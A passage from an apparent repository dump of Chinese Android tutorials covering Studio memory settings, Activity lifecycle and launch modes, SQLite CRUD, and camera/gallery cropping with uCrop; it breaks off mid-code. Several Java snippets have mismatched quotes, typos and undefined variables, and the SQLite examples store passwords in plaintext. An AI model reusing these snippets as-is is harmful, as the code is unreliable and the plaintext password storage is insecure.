![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_daymaic_version_tip.png?raw=true)\n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_dymaic_version_fix.png?raw=true)\n    详细有关为什么不要使用动态版本的介绍，请参考[Don't use dynamic versions for your dependencies](http://blog.danlew.net/2015/09/09/dont-use-dynamic-versions-for-your-dependencies/)\n\n- 增加内存使用`SSD`         \n    首先是增大内存,    `Mac`中在`Applications`中找到`Sutio`然后右键显示包内容`Contents/bin/studio.vmoptions`。\n    打开该文件后修改就可以了，我是的是:     \n    ```\n    #\n    # *DO NOT* modify this file directly. If there is a value that you would like to override,\n    # please add it to your user specific configuration file.\n    #\n    # See http://tools.android.com/tech-docs/configuration\n    #\n    -Xms1024m\n    -Xmx4096m\n    -XX:MaxPermSize=768m\n    -XX:ReservedCodeCacheSize=768m\n    -XX:+UseCompressedOops\n    ```\n    我没看见`DO NOT`的提示- -!\n    \n    - Xms 是JVN启动起始时的堆内存，堆内存是分配给对象的内容。\n    - Xmx 是能使用的最大堆内存。\n\n\n- 使用`Instant Run`   \n         \n    `Instantt Run`放在这里说可能不合适，但是用他确实能大大的减少运行时间。              \n    如果还不了解的话可以参考[Instant Run](http://tools.android.com/tech-docs/instant-run)           \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_instantrun.png?raw=true)\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Activity详细解析.md",
    "content": "# Activity是什么？\n\n我们都知道android中有四大组件（Activity 活动，Service 服务，Content Provider 内容提供者，BroadcastReceiver 广播接收器），Activity是我们用的最多也是最基本的组件，因为应用的所有操作都与用户相关，Activity 提供窗口来和用户进行交互。\n\n官方文档这么说：\n　　\n\n> An activity is a single, focused thing that the user can do. Almost all activities interact with the user, so the Activity class takes care of creating a window for you in which you can place your UI with setContentView(View). \n> \n> \n> 大概的意思：\n\n>activity是独立平等的，用来处理用户操作。几乎所有的activity都是用来和用户交互的，所以activity类会创建了一个窗口，开发者可以通过setContentView(View)的接口把UI放到给窗口上。\n\n　　Android中的activity全都归属于task管理 。task 是多个 activity 的集合，这些 activity 按照启动顺序排队存入一个栈（即“back stack”）。android默认会为每个App维持一个task来存放该app的所有activity，task的默认name为该app的packagename。\n\n　　当然我们也可以在AndroidMainfest.xml中申明activity的taskAffinity属性来自定义task，但不建议使用，如果其他app也申明相同的task，它就有可能启动到你的activity，带来各种安全问题（比如拿到你的Intent）。\n\n#Activity的内部调用过程\n\n　　上面已经说了，系统通过堆栈来管理activity，当一个新的activity开始时，它被放置在堆栈的顶部和成为运行活动，以前的activity始终保持低于它在堆栈，而不会再次到达前台，直到新的活动退出。\n\n　　还是上这张官网的activity_lifecycle图：\n　　![这里写图片描述](http://img.blog.csdn.net/20160425171711054)　\n\n \n\n - 首先打开一个新的activity实例的时候，系统会依次调用\n\n> onCreate（）  -> onStart() -> onResume() 然后开始running\n\n 　　running的时候被覆盖了（从它打开了新的activity或是被锁屏，但是它**依然在前台**运行， lost focus but is still visible），系统调用onPause();\n\n \n>　该方法执行activity暂停，通常用于提交未保存的更改到持久化数据，停止动画和其他的东西。但这个activity还是完全活着（它保持所有的状态和成员信息，并保持连接到**窗口管理器**）\n\n接下来它有三条出路\n①用户返回到该activity就调用onResume()方法重新running \n\n②用户回到桌面或是打开其他activity，就会调用onStop()进入停止状态（保留所有的状态和成员信息，**对用户不可见**）\n\n③系统内存不足，拥有更高限权的应用需要内存，那么该activity的进程就可能会被系统回收。（回收onRause()和onStop()状态的activity进程）要想重新打开就必须重新创建一遍。\n\n如果用户返回到onStop()状态的activity（又显示在前台了），系统会调用\n\n> onRestart() ->  onStart() -> onResume() 然后重新running\n\n在activity结束（调用finish ()）或是被系统杀死之前会调用onDestroy()方法释放所有占用的资源。\n\n\n> activity生命周期中三个嵌套的循环\n\n　\n\n - activity的完整生存期会在 onCreate() 调用和 onDestroy() 调用之间发生。　\n \n - activity的可见生存期会在 onStart() 调用和 onStop() 调用之间发生。系统会在activity的整个生存期内多次调用 onStart() 和onStop()， 因为activity可能会在显示和隐藏之间不断地来回切换。　\n \n - activity的前后台切换会在 onResume() 调用和 onPause() 之间发生。\n 因为这个状态可能会经常发生转换，为了避免切换迟缓引起的用户等待，这两个方法中的代码应该相当地轻量化。\n\n## activity被回收的状态和信息保存和恢复过程\n\n```\npublic class MainActivity extends Activity {\n\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\tif(savedInstanceState!=null){ //判断是否有以前的保存状态信息\n\t\t\t savedInstanceState.get(\"Key\"); \n\t\t\t }\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.activity_main);\n\t}\n   @Override\nprotected void onSaveInstanceState(Bundle outState) {\n\t// TODO Auto-generated method stub\n\t //可能被回收内存前保存状态和信息，\n\t   Bundle data = new Bundle(); \n\t   data.putString(\"key\", \"last words before be kill\");\n\t   outState.putAll(data);\n\tsuper.onSaveInstanceState(outState);\n}\n   @Override\nprotected void onRestoreInstanceState(Bundle savedInstanceState) {\n\t// TODO Auto-generated method stub\n\t   if(savedInstanceState!=null){ //判断是否有以前的保存状态信息\n\t\t\t savedInstanceState.get(\"Key\"); \n\t\t\t }\n\tsuper.onRestoreInstanceState(savedInstanceState);\n}\n}\n```\n\n> onSaveInstanceState方法\n\n　　在activity　可能被回收之前　调用,用来保存自己的状态和信息，以便回收后重建时恢复数据（在onCreate()或onRestoreInstanceState()中恢复）。旋转屏幕重建activity会调用该方法，但其他情况在onRause()和onStop()状态的activity不一定会调用 ，下面是该方法的文档说明。\n\n\n> One example of when onPause and onStop is called and not this method is when a user navigates back from activity B to activity A: there is no need to call onSaveInstanceState on B because that particular instance will never be restored, so the system avoids calling it. An example when onPause is called and not onSaveInstanceState is when activity B is launched in front of activity A: the system may avoid calling onSaveInstanceState on activity A if it isn't killed during the lifetime of B since the state of the user interface of A will stay intact. \n\n\n也就是说，系统灵活的来决定调不调用该方法，**但是如果要调用就一定发生在onStop方法之前，但并不保证发生在onPause的前面还是后面。**\n\n> onRestoreInstanceState方法\n\n　　这个方法在onStart 和 onPostCreate之间调用，在onCreate中也可以状态恢复，但有时候需要所有布局初始化完成后再恢复状态。\n\n　　onPostCreate：一般不实现这个方法，当程序的代码开始运行时，它调用系统做最后的初始化工作。\n\n# 启动模式\n\n## 启动模式什么？\n　　\n　　简单的说就是定义activity 实例与task 的关联方式。\n　　\n## 为什么要定义启动模式？ \n\n　　 为了实现一些默认启动（standard）模式之外的需求：\n　　 \n\n - 让某个 activity 启动一个新的 task （而不是被放入当前 task ）\n \n - 让 activity 启动时只是调出已有的某个实例（而不是在 back stack 顶创建一个新的实例）　\n \n - 或者，你想在用户离开 task 时只保留根 activity，而 back stack 中的其它 activity 都要清空\n\n##怎样定义启动模式？\n\n　　定义启动模式的方法有两种：\n\n### 使用 manifest 文件\n\n　　在 manifest 文件中activity声明时，利用 activity 元素的 launchMode 属性来设定 activity 与 task 的关系。\n\n　　\n\n```\n <activity\n            ．．．．．．\n            android:launchMode=\"standard\"\n             >\n           ．．．．．．．\n        </activity>\n```\n\n> 注意： 你用 launchMode 属性为 activity 设置的模式可以被启动 activity 的 intent 标志所覆盖。\n\n####有哪些启动模式？\n\n\n - \"standard\" （默认模式）　\n \n　　当通过这种模式来启动Activity时,　Android总会为目标 Activity创建一个新的实例,并将该Activity添加到当前Task栈中。这种方式不会启动新的Task,只是将新的 Activity添加到原有的Task中。　\n　　\n - \"singleTop\"　\n \n 　　该模式和standard模式基本一致,但有一点不同:当将要被启动的Activity已经位于Task栈顶时,系统不会重新创建目标Activity实例,而是直接复用Task栈顶的Activity。\n \n - \"singleTask\"\n\n　　Activity在同一个Task内只有一个实例。\n　　\n　　如果将要启动的Activity不存在,那么系统将会创建该实例,并将其加入Task栈顶；　\n\n　　如果将要启动的Activity已存在,且存在栈顶,直接复用Task栈顶的Activity。　\n\n　　如果Activity存在但是没有位于栈顶,那么此时系统会把位于该Activity上面的所有其他Activity全部移出Task,从而使得该目标Activity位于栈顶。\n\n - \"singleInstance\"　\n\n　　无论从哪个Task中启动目标Activity,只会创建一个目标Activity实例且会用一个全新的Task栈来装载该Activity实例（全局单例）.\n\n　　如果将要启动的Activity不存在,那么系统将会先创建一个全新的Task,再创建目标Activity实例并将该Activity实例放入此全新的Task中。\n\n　　如果将要启动的Activity已存在,那么无论它位于哪个应用程序,哪个Task中;系统都会把该Activity所在的Task转到前台,从而使该Activity显示出来。\n\n### 使用 Intent 标志\n\n　　在要启动 activity 时，你可以在传给 startActivity() 的 intent 中包含相应标志，以修改 activity 与 task 的默认关系。\n\n　　\n\n```\n　　　　　Intent i = new Intent(this,ＮewActivity.class);\n\t\ti.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n\t\tstartActivity(i);\n```\n\n#### 可以通过标志修改的默认模式有哪些？\n\n　　　\n\n - FLAG_ACTIVITY_NEW_TASK\n\n　　与\"singleTask\"模式相同，在新的 task 中启动 activity。如果要启动的 activity 已经运行于某 task 中，则那个 task 将调入前台。\n\n - FLAG_ACTIVITY_SINGLE_TOP\n\n　　与 \"singleTop\"模式相同，如果要启动的 activity位于back stack 顶，系统不会重新创建目标Activity实例,而是直接复用Task栈顶的Activity。\n\n - FLAG_ACTIVITY_CLEAR_TOP\n\n　　**此种模式在launchMode中没有对应的属性值。**如果要启动的 activity 已经在当前 task 中运行，则不再启动一个新的实例，且所有在其上面的 activity 将被销毁。\n\n####　关于启动模式的一些建议\n\n　　 一般不要改变 activity 和 task 默认的工作方式。 如果你确定有必要修改默认方式，请保持谨慎，并确保 activity 在启动和从其它 activity 返回时的可用性，多做测试和安全方面的工作。\n\n\n# Intent Filter\n\n　　android的3个核心组件——Activity、services、广播接收器——是通过intent传递消息的。intent消息用于在运行时绑定不同的组件。\n　　在 Android 的 AndroidManifest.xml 配置文件中可以通过 intent-filter 节点为一个 Activity 指定其 Intent Filter，以便告诉系统该 Activity 可以响应什么类型的 Intent。\n\n## intent-filter 的三大属性\n\n### Action \n\n　　一个 Intent Filter 可以包含多个 Action，Action 列表用于标示 Activity 所能接受的“动作”，它是一个用户自定义的字符串。\n\n　　\n\n```\n<intent-filter > \n <action android:name=\"android.intent.action.MAIN\" /> \n <action android:name=\"com.scu.amazing7Action\" /> \n……\n </intent-filter>\n```\n\n在代码中使用以下语句便可以启动该Intent 对象：\n\n```\nIntent i=new Intent(); \ni.setAction(\"com.scu.amazing7Action\");\n```\nAction 列表中包含了“com.scu.amazing7Action”的 Activity 都将会匹配成功\n\n### URL\n\n　　在 intent-filter 节点中，通过 data节点匹配外部数据，也就是通过 URI 携带外部数据给目标组件。\n\n　　\n\n```\n<data android:mimeType=\"mimeType\" \n\tandroid:scheme=\"scheme\" \n\t android:host=\"host\"\n\t android:port=\"port\" \n\t android:path=\"path\"/>\n```\n注意：只有data的所有的属性都匹配成功时 URI 数据匹配才会成功\n\n### Category \n\n　　为组件定义一个 类别列表，当 Intent 中包含这个类别列表的所有项目时才会匹配成功。\n\n```\n<intent-filter . . . >\n   <action android:name=\"code android.intent.action.MAIN\" />\n   <category android:name=\"code　android.intent.category.LAUNCHER\" />\n</intent-filter>\n```\n\n## Activity 种 Intent Filter 的匹配过程\n\n　　①加载所有的Intent Filter列表\n　　②去掉action匹配失败的Intent Filter\n　　③去掉url匹配失败的Intent Filter\n　　④去掉Category匹配失败的Intent Filter\n　　⑤判断剩下的Intent Filter数目是否为0。如果为0查找失败返回异常；如果大于0，就按优先级排序，返回最高优先级的Intent Filter\n\n\n\n# 开发中Activity的一些问题\n\n - \n\n 一般设置Activity为非公开的\n\n　　\n\n```\n<activity  \n．．．．．． \nandroid:exported=\"false\" /> \n```\n\n注意：非公开的Activity不能设置intent-filter，以免被其他activity唤醒（如果拥有相同的intent-filter）。\n\n - 不要指定activity的taskAffinity属性\n\n - 不要设置activity的LaunchMode（保持默认）\n\n　　注意Activity的intent最好也不要设定为FLAG_ACTIVITY_NEW_TASK\n\n - 在匿名内部类中使用this时加上activity类名（类名.this,不一定是当前activity）\n\n - 设置activity全屏\n \n  　　在其 onCreate()方法中加入：\n\n```\n// 设置全屏模式\n getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); \n // 去除标题栏\n requestWindowFeature(Window.FEATURE_NO_TITLE);\n```\n\n　　\n\n\n\n　　\n\n　　\n　　\n  　　\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Android-SQLite的基本使用.md",
    "content": "# 概述\n\n　　Android 也提供了几种方法用来保存数据，使得这些数据即使在程序结束以后依然不会丢失。这些方法有：　　　　　\n\n - **文本文件**：可以保存在应用程序自己的目录下，安装的每个app都会在/data/data/目录下创建个文件夹，名字和应用程序中AndroidManifest.xml文件中的package一样。　　\n    　\n - **SDcard保存**：\n \n - **Preferences保存**：这也是一种经常使用的数据存储方法，因为它们对于用户而言是透明的，并且从应用安装的时候就存在了。\n - **Assets保存**：用来存储一些只读数据，Assets是指那些在assets目录下的文件，这些文件在你将你的应用编译打包之前就要存在，并且可以在应用程序运行的时候被访问到。但有时候我们需要对保存的数据进行一些复杂的操作，或者数据量很大，超出了文本文件和Preference的性能能的范围，所以需要一些更加高效的方法来管理，从Android1.5开始，Android就自带SQLite数据库了。\n　　SQLite它是一个独立的，无需服务进程，支持事务处理，可以使用SQL语言的数据库。\n\n# SQLite的特性\n\n 1、 ACID事务 　\n　　\n\n>ACID：\n> 　　指数据库事务正确执行的四个基本要素的缩写。包含：原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）、持久性（Durability）。一个支持事务（Transaction）的数据库，必需要具有这四种特性，否则在事务过程（Transaction processing）当中无法保证数据的正确性，交易过程极可能达不到交易方的要求。\n\n2、 零配置 – 无需安装和管理配置 　\n\n3、储存在单一磁盘文件中的一个完整的数据库 　\n\n4、数据库文件可以在不同字节顺序的机器间自由的共享 \n\n5、支持数据库大小至2TB 　\n\n6、 足够小, 大致3万行C代码, 250K 　\n\n7、比一些流行的数据库在大部分普通数据库操作要快 　\n\n8、简单, 轻松的API 　\n\n9、 包含TCL绑定, 同时通过Wrapper支持其他语言的绑定 　\n\n> http://www.sqlite.org/tclsqlite.html\n\n10、良好注释的源代码, 并且有着90%以上的测试覆盖率  \n\n11、 独立: 没有额外依赖  \n\n12、 Source完全的Open, 你可以用于任何用途, 包括出售它  \n\n13、支持多种开发语言，C，PHP，Perl，Java，ASP.NET，Python \n\n\n# Android 中使用 SQLite \n\n  　　Activites 可以通过 Content Provider 或者 Service 访问一个数据库。\n\n## 创建数据库\n\n　　Android 不自动提供数据库。在 Android 应用程序中使用 SQLite，必须自己创建数据库，然后创建表、索引，填充数据。Android 提供了 SQLiteOpenHelper 帮助你创建一个数据库，你只要继承 SQLiteOpenHelper 类根据开发应用程序的需要，封装创建和更新数据库使用的逻辑就行了。　\n　　\n　　SQLiteOpenHelper 的子类，至少需要实现三个方法：　\n\n```\npublic class DatabaseHelper extends SQLiteOpenHelper {\n\n\t/**\n\t * @param context  上下文环境（例如，一个 Activity）\n\t * @param name   数据库名字\n\t * @param factory  一个可选的游标工厂（通常是 Null）\n\t * @param version  数据库模型版本的整数\n\t * \n\t * 会调用父类 SQLiteOpenHelper的构造函数\n\t */ \n\tpublic DatabaseHelper(Context context, String name, CursorFactory factory, int version) {\n\t\tsuper(context, name, factory, version);\n\t\t\n\t}\n\n\t/**\n\t *  在数据库第一次创建的时候会调用这个方法\n\t *  \n\t *根据需要对传入的SQLiteDatabase 对象填充表和初始化数据。\n\t */\n\t@Override\n\tpublic void onCreate(SQLiteDatabase db) {\n\n\t}\n\n\t/**\n\t * 当数据库需要修改的时候（两个数据库版本不同），Android系统会主动的调用这个方法。\n\t * 一般我们在这个方法里边删除数据库表，并建立新的数据库表.\n\t */\n\t@Override\n\tpublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n\t\t//三个参数，一个 SQLiteDatabase 对象，一个旧的版本号和一个新的版本号\n\n\t}\n\n\t@Override\n\tpublic void onOpen(SQLiteDatabase db) {\n\t\t// 每次成功打开数据库后首先被执行\n\t\tsuper.onOpen(db);\n\t}\n}\n```\n\n继承SQLiteOpenHelper之后就拥有了以下两个方法：\n\n - getReadableDatabase() 　创建或者打开一个查询数据库\n\n - getWritableDatabase()　创建或者打开一个可写数据库\n\n```\nDatabaseHelper database = new DatabaseHelper(context);//传入一个上下文参数\nSQLiteDatabase db = null;\ndb = database.getWritableDatabase();\n```\n　　上面这段代码会返回一个 SQLiteDatabase 类的实例，使用这个对象，你就可以查询或者修改数据库。　\n\nSQLiteDatabase类为我们提供了很多种方法，而较常用的方法如下：\n\n> (int) delete(String table,String whereClause,String[] whereArgs)\n\n　　删除数据行\n\n> (long) insert(String table,String nullColumnHack,ContentValues values)\n\n　　\t添加数据行\n\n> (int) update(String table, ContentValues values, String whereClause, String[] whereArgs)\n\n　　更新数据行\n\n> (void) execSQL(String sql)\n\n　　\t执行一个SQL语句，可以是一个select或其他的sql语句\n\n> (void) close()\n\n　　\t关闭数据库\n\n> (Cursor) query(String table, String[] columns, String selection, String[] selectionArgs, String groupBy, String having, String orderBy, String limit)\n\n　　查询指定的数据表返回一个带游标的数据集。\n\n 各参数说明：\ntable：表名称\ncolums：列名称数组\nselection：条件子句，相当于where\nselectionArgs：条件语句的参数数组\ngroupBy：分组\nhaving：分组条件\norderBy：排序类\nlimit：分页查询的限制\nCursor：返回值，相当于结果集ResultSet\n\n\n> (Cursor) rawQuery(String sql, String[] selectionArgs)\n\n　　运行一个预置的SQL语句，返回带游标的数据集（与上面的语句最大的区别就是防止SQL注入）\n\n\n　　当你完成了对数据库的操作（例如你的 Activity 已经关闭），需要调用 SQLiteDatabase 的 Close() 方法来释放掉数据库连接。\n\n## 创建表和索引\n\n　　为了创建表和索引，需要调用 SQLiteDatabase 的 execSQL() 方法来执行 DDL 语句。如果没有异常，这个方法没有返回值。\n　　例如，你可以执行如下代码：\n　　\n\n```\n db.execSQL(\"CREATE TABLE user(_id INTEGER PRIMARY KEY   \n        AUTOINCREMENT, username TEXT, password TEXT);\");\n```\n\n　　这条语句会创建一个名为 user的表，表有一个列名为 _id，并且是主键，这列的值是会自动增长的整数。另外还有两列：username( 字符 ) 和 password( 字符  )。 SQLite 会自动为主键列创建索引。\n　　通常情况下，第一次创建数据库时创建了表和索引。要 删除表和索引，需要使用 execSQL() 方法调用 DROP INDEX 和 DROP TABLE 语句。\n\n## 添加数据　\n\n　　有两种方法可以给表添加数据。\n\n①可以使用 execSQL() 方法执行 INSERT, UPDATE, DELETE 等语句来更新表的数据。execSQL() 方法适用于所有不返回结果的 SQL 语句。例如：\n\n```\nString sql = \"insert into user(username,password) values ('finch','123456');//插入操作的SQL语句\ndb.execSQL(sql);//执行SQL语句\n``` \n\n②使用 SQLiteDatabase 对象的 insert()。\n\n 　　\n\n```\nContentValues cv = new ContentValues();\ncv.put(\"username\",\"finch\");//添加用户名\ncv.put(\"password\",\"123456\"); //添加密码\ndb.insert(\"user\",null,cv);//执行插入操作\n```\n\n## 更新数据（修改）\n\n①使用SQLiteDatabase 对象的  update()方法。\n\n```\nContentValues cv = new ContentValues();\ncv.put(\"password\",\"654321\");//添加要更改的字段及内容\nString whereClause = \"username=?\";//修改条件\nString[] whereArgs = {\"finch\"};//修改条件的参数\ndb.update(\"user\",cv,whereClause,whereArgs);//执行修改\n```\n该方法有四个参数：　\n 　　表名；\n 　　列名和值的 ContentValues 对象；　\n 　　可选的 WHERE 条件；　\n 　　可选的填充 WHERE 语句的字符串，这些字符串会替换 WHERE 条件中的“？”标记，update() 根据条件，更新指定列的值.　\n\n②使用execSQL方式的实现\n\n```\nString sql = \"update [user] set password = '654321' where username=\"finch\";//修改的SQL语句\ndb.execSQL(sql);//执行修改\n``` \n\n\n## 删除数据\n\n①使用SQLiteDatabase 对象的delete()方法。\n\n```\nString whereClause = \"username=?\";//删除的条件\nString[] whereArgs = {\"finch\"};//删除的条件参数\ndb.delete(\"user\",whereClause,whereArgs);//执行删除\n```\n\n②使用execSQL方式的实现\n\n```\nString sql = \"delete from user where username=\"finch\";//删除操作的SQL语句\ndb.execSQL(sql);//执行删除操作\n```\n\n## 查询数据\n\n①使用 rawQuery() 直接调用 SELECT 语句\n\n```\nCursor c = db.rawQuery(\"select * from user where username=?\",new Stirng[]{\"finch\"});\n\nif(cursor.moveToFirst()) {\n    String password = c.getString(c.getColumnIndex(\"password\"));\n}\n``` \n\n　　返回值是一个 cursor 对象，这个对象的方法可以迭代查询结果。\n如果查询是动态的，使用这个方法就会非常复杂。例如，当你需要查询的列在程序编译的时候不能确定，这时候使用 query() 方法会方便很多。\n\n②通过query实现查询\n\n　　query() 方法用 SELECT 语句段构建查询。\n　　SELECT 语句内容作为 query() 方法的参数，比如：要查询的表名，要获取的字段名，WHERE 条件，包含可选的位置参数，去替代 WHERE 条件中位置参数的值，GROUP BY 条件，HAVING 条件。\n　　除了表名，其他参数可以是 null。所以代码可写成：\n\n```\nCursor c = db.query(\"user\",null,null,null,null,null,null);//查询并获得游标\nif(c.moveToFirst()){//判断游标是否为空\n    for(int i=0;i<c.getCount();i++){　\nc.move(i);//移动到指定记录\nString username = c.getString(c.getColumnIndex(\"username\");\nString password = c.getString(c.getColumnIndex(\"password\"));\n    }\n}\n```\n### 使用游标\n\n　　不管你如何执行查询，都会返回一个 Cursor，这是 Android 的 SQLite 数据库游标，使用游标，你可以：　　\n\n - 通过使用 getCount() 方法得到结果集中有多少记录；　\n \n - 通过 moveToFirst(), moveToNext(), 和 isAfterLast() 方法遍历所有记录；\n\n - 通过 getColumnNames() 得到字段名；\n\n - 通过 getColumnIndex() 转换成字段号；\n\n - 通过 getString()，getInt() 等方法得到给定字段当前记录的值；\n\n - 通过 requery() 方法重新执行查询得到游标；\n\n - 通过 close() 方法释放游标资源；\n \n例如，下面代码遍历 user表:\n\n```\n Cursor result=db.rawQuery(\"SELECT _id, username, password FROM user\"); \n    result.moveToFirst(); \n    while (!result.isAfterLast()) { \n        int id=result.getInt(0); \n        String name=result.getString(1); \n        String password =result.getString(2); \n        // do something useful with these \n        result.moveToNext(); \n      } \n      result.close();\n```\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Android中相机与相册的详细使用.md",
    "content": "目前主流app都具有上传头像啊，上传图片的功能，看起来好简单的需求，但是其实这里面有一点点不同的地方。先说一下我的思路，因为开发周期的问题，并没有打算自定义相机与图片查询工具，打算采用系统相机和图片查看工具，最开始我打算调用系统的剪裁并且取得的效果还是不错的，因为我最开始做的是系统头像上传的这个功能，后来我采用同样的方法做了上传商品图片的功能，但是这个时候就暴露了之前的隐患。\n\n我先说一下，安卓系统的默认的机制，Intent触发Camera程序，拍好照片后，将会返回数据，但是考虑到内存问题，Camera不会将全尺寸的图像返回给调用的Activity，一般情况下，有可能返回的是缩略图，比如120*160px。这看起来就像是一个缩略图一样了，这样的效果是让我们非常不满意的，因为我们想要上传的明明是一个高清的图片，但是这样我们上传的竟然是一个特别模糊的图片啦，所以我们不能采用这种办法了。\n\n我们的思路：调用系统相机，拍照完将拍完的照片存在sd卡的某一个地方，然后我们调用自己的剪裁工具，不调用系统的剪裁工具了，这样我们剪裁完的图片也就是一张高清的图片了，这样就完美的解决了所遇到的问题。\n\n\n----\n\n\n> 顺便给大家介绍一款，比较不错的剪裁工具：ucrop\n\n> 链接：https://github.com/Yalantis/uCrop\n\n这款工具，特别的小巧，自定义功能非常强，我在项目中是这样用的：\n\n````\npublic static String startUCrop(Activity activity, String sourceFilePath,\n                                    int requestCode, float aspectRatioX, float aspectRatioY) {\n        Uri sourceUri = Uri.fromFile(new File(sourceFilePath));\n        File outDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);\n        if (!outDir.exists()) {\n            outDir.mkdirs();\n        }\n        File outFile = new File(outDir, System.currentTimeMillis() + \".jpg\");\n        //裁剪后图片的绝对路径\n        String cameraScalePath = outFile.getAbsolutePath();\n        Uri destinationUri = Uri.fromFile(outFile);\n        //初始化，第一个参数：需要裁剪的图片；第二个参数：裁剪后图片\n        UCrop uCrop = UCrop.of(sourceUri, destinationUri);\n        //初始化UCrop配置\n        UCrop.Options options = new UCrop.Options();\n        //设置裁剪图片可操作的手势\n        options.setAllowedGestures(UCropActivity.SCALE, UCropActivity.ROTATE, UCropActivity.ALL);\n        //是否隐藏底部容器，默认显示\n        options.setHideBottomControls(true);\n        //设置toolbar颜色\n        options.setToolbarColor(ActivityCompat.getColor(activity, R.color.colorPrimary));\n        //设置状态栏颜色\n        options.setStatusBarColor(ActivityCompat.getColor(activity, R.color.colorPrimary));\n        //是否能调整裁剪框\n        options.setFreeStyleCropEnabled(true);\n        //UCrop配置\n        uCrop.withOptions(options);\n        //设置裁剪图片的宽高比，比如16：9\n        uCrop.withAspectRatio(aspectRatioX, aspectRatioY);\n        //uCrop.useSourceImageAspectRatio();\n        //跳转裁剪页面\n        uCrop.start(activity, requestCode);\n        return cameraScalePath;\n    }\n\n\n````\n\n![软件使用截图1](http://upload-images.jianshu.io/upload_images/2585384-cfc845f8da731197.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![软件使用截图2](http://upload-images.jianshu.io/upload_images/2585384-c8cdc00f2c5d330b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n看了图片之后，应该不用我说这个库有多强大了吧，通过简单的设置之后，可以轻松的实现图片的旋转啊，图片的缩放啊，和各种实用的操作，特别的实用。\n\n下面展示一下我们调用系统的拍照，和系统的相册的代码：\n\n````\n\n \t/**\n     * 启动手机相册\n     */\n     \n    private void fromGallery() {\n        Intent intent = new Intent(Intent.ACTION_GET_CONTENT);\n        intent.addCategory(Intent.CATEGORY_OPENABLE);\n        intent.setType(\"image/*\");\n        intent.putExtra(MediaStore.EXTRA_OUTPUT, Uri.fromFile(new File(Environment.getExternalStorageDirectory(), IMAGE_NAME)));\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {\n            startActivityForResult(intent, GALLERY_KITKAT_REQUEST);\n        } else {\n            startActivityForResult(intent, GALLERY_REQUEST);\n        }\n    }\n\n    /**\n     * 启动手机相机\n     */\n    private void fromCamera() {\n        Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);\n        if (FileUtil.hasSdcard()) {\n            intent.putExtra(MediaStore.EXTRA_OUTPUT, Uri.fromFile(new File(Environment.getExternalStorageDirectory(), IMAGE_NAME)));\n            startActivityForResult(intent, CAMERA_REQUEST);\n        } else {\n            Log.i(\"sys\", \"--lin--> SD not exist\");\n        }\n    }\n\n````\n\n\n````\n//如果我们采取的是，调用相册中的照片，我们只需要这样便可以获取到图片，并且直接加载到我们的第三方剪裁库里面。\nString url = getPath(ReleaseOrderActivity.this, data.getData());\nLog.i(\"lin\", \"----lin---- url :\" + url);\nstartUCrop(ReleaseOrderActivity.this, url, 1000, 300, 300);\n\n\n````\n\n````\n//如果我们采用的是调用系统的相机的话，采用这种方式便可以获取到照片，并且加载到我们的剪裁的工具里面啦。\nstartUCrop(ReleaseOrderActivity.this, Environment.getExternalStorageDirectory() + \"/\" + IMAGE_NAME, 1000, 300, 300);\n\n\n````\n\n\n当然，上面我们应用到了一个，getPath的方法，当然顾名思义嘛，就是要找到图片的所在位置，但是怕大家懒得自己写，在这里我就给出来：\n\n````\n\n    //以下是关键，原本uri返回的是file:///...来着的，android4.4返回的是content:///...\n    @SuppressLint(\"NewApi\")\n    public static String getPath(final Context context, final Uri uri) {\n        final boolean isKitKat = Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT;\n        // DocumentProvider\n        if (isKitKat && DocumentsContract.isDocumentUri(context, uri)) {\n            // ExternalStorageProvider\n            if (isExternalStorageDocument(uri)) {\n                final String docId = DocumentsContract.getDocumentId(uri);\n                final String[] split = docId.split(\":\");\n                final String type = split[0];\n                if (\"primary\".equalsIgnoreCase(type)) {\n                    return Environment.getExternalStorageDirectory() + \"/\" + split[1];\n                }\n            }\n            // DownloadsProvider\n            else if (isDownloadsDocument(uri)) {\n                final String id = DocumentsContract.getDocumentId(uri);\n                final Uri contentUri = ContentUris.withAppendedId(Uri.parse(\"content://downloads/public_downloads\"), Long.valueOf(id));\n                return getDataColumn(context, contentUri, null, null);\n            }\n            // MediaProvider\n            else if (isMediaDocument(uri)) {\n                final String docId = DocumentsContract.getDocumentId(uri);\n                final String[] split = docId.split(\":\");\n                final String type = split[0];\n\n                Uri contentUri = null;\n                if (\"image\".equals(type)) {\n                    contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;\n                } else if (\"video\".equals(type)) {\n                    contentUri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;\n                } else if (\"audio\".equals(type)) {\n                    contentUri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;\n                }\n\n                final String selection = \"_id=?\";\n                final String[] selectionArgs = new String[]{\n                        split[1]\n                };\n                return getDataColumn(context, contentUri, selection, selectionArgs);\n            }\n        }\n        // MediaStore (and general)\n        else if (\"content\".equalsIgnoreCase(uri.getScheme())) {\n            // Return the remote address\n            if (isGooglePhotosUri(uri)) {\n                return uri.getLastPathSegment();\n            }\n            return getDataColumn(context, uri, null, null);\n        }\n        // File\n        else if (\"file\".equalsIgnoreCase(uri.getScheme())) {\n            return uri.getPath();\n        }\n        return null;\n    }\n\n    public static String getDataColumn(Context context, Uri uri, String selection, String[] selectionArgs) {\n        Cursor cursor = null;\n        final String column = \"_data\";\n        final String[] projection = {column};\n\n        try {\n            cursor = 